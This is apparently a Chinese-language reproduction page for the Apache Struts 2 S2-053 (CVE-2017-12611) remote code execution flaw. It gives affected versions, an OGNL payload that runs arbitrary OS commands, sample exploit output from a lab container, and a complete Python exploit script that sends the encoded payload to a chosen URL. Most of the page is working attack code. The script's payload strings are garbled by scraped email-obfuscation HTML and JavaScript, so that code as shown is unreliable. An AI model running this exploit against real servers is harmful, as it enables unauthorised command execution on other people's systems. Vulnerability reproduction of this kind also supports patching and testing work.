（CVE-2017-12611）S2-053
========================
一、漏洞简介
------------
在一定条件下，当开发人员在Freemarker标签中使用错误的构造时，可能会导致远程代码执行漏洞
二、漏洞影响
------------
Struts 2.0.1 - 2.3.33Struts 2.5 - 2.5.10
三、复现过程
------------
### poc
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
注意：执行命令的地方在于(\#cmd='whoami')
### python poc
#### Usage
exploit.py <url> <param> <command>
#### Example
$ python s2-053-exploit.py "http://127.0.0.1" "name" "uname -a"
[*] Generated EXP: http://127.0.0.1/?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27uname%20-a%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D
[*] Exploiting...
[+] Response: <html>
<head>
<title>S2-053 Demo</title>
</head>
<body>
<h1>S2-053 Demo</h1>
<hr />
Your name: Linux a66c177c2326 4.4.0-70-generic ;jsessionid=64A259D92EC63543AD72E6AA847319C9#91-Ubuntu SMP Wed Mar 22 12:47:43 UTC 2017 x86_64 GNU/Linux
<hr />
Enter your name here:<br />
<form action="" method="get">
<input type="text" name="name" value="" />
<input type="submit" value="Submit" />
</form>
<br /><br /><br />
<p>See more at: <a href="https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-053">VulApps - S2-053</a></p>
</body>
</html>
[+] Exploit Finished!
#### exploit.py
import requests
import sys
from urllib import quote
def exploit(url):
res = requests.get(url, timeout=10)
if res.status_code == 200:
print "[+] Response: {}".format(str(res.text))
print "\n[+] Exploit Finished!"
else:
print "\n[!] Exploit Failed!"
if __name__ == "__main__":
if len(sys.argv) != 4:
print """****S2-053 Exploit****
Usage:
exploit.py <url> <param> <command>
Example:
exploit.py "http://127.0.0.1/" "name" "uname -a"
"""
exit()
url = sys.argv[1]
param = sys.argv[2]
command = sys.argv[3]
#payload = "%{(<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="bc9fd8d181fcd3dbd2d092f3dbd2d0ffd3d2c8d9c4c8">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="8be8e4e6a5e4fbeee5f8f2e6fbe3e4e5f2a5f3fce4f9e0b9a5e4ece5e7a5c4ece5e7deffe2e7cbe8e7eaf8f8">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+command+"').(#iswin=(@<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="365c574057185a57585118654f4542535b76515342664459465344424f">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="c6a9b4a1e8a7b6a7a5aea3e8b5b2b4b3b2b5f4e895a3b4b0aaa3b287a5b2afa9a885a9a8b2a3beb286a1a3b294a3b5b6a9a8b5a3">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>().getOutputStream())).(@<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="dcb3aebbf2bdacbdbfb4b9f2bfb3b1b1b3b2aff2b5b3f2959389a8b5b0af9cbfb3aca5">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>(#process.getInputStream(),#ros)).(#ros.flush())}"""
# Can show the echo message
payload = "%{(<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="85a6e1e8b8c5eae2ebe9abcae2ebe9c6eaebf1e0fdf1">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="f89b9795d697889d968b81958890979681d6808f978a93cad6979f9694d6b79f9694ad8c9194b89b94998b8b">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+command+"').(#iswin=(@<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="5c363d2a3d72303d323b720f252f2839311c3b39280c2e332c392e2825">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="2a45584d044b5a4b49424f04494547474544590443450463657f5e4346596a5e45795e5843444d">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>(#process.getInputStream()))}"
link = "{}/?{}={}".format(url, param, quote(payload))
print "[*] Generated EXP: {}".format(link)
print "\n[*] Exploiting..."
exploit(link)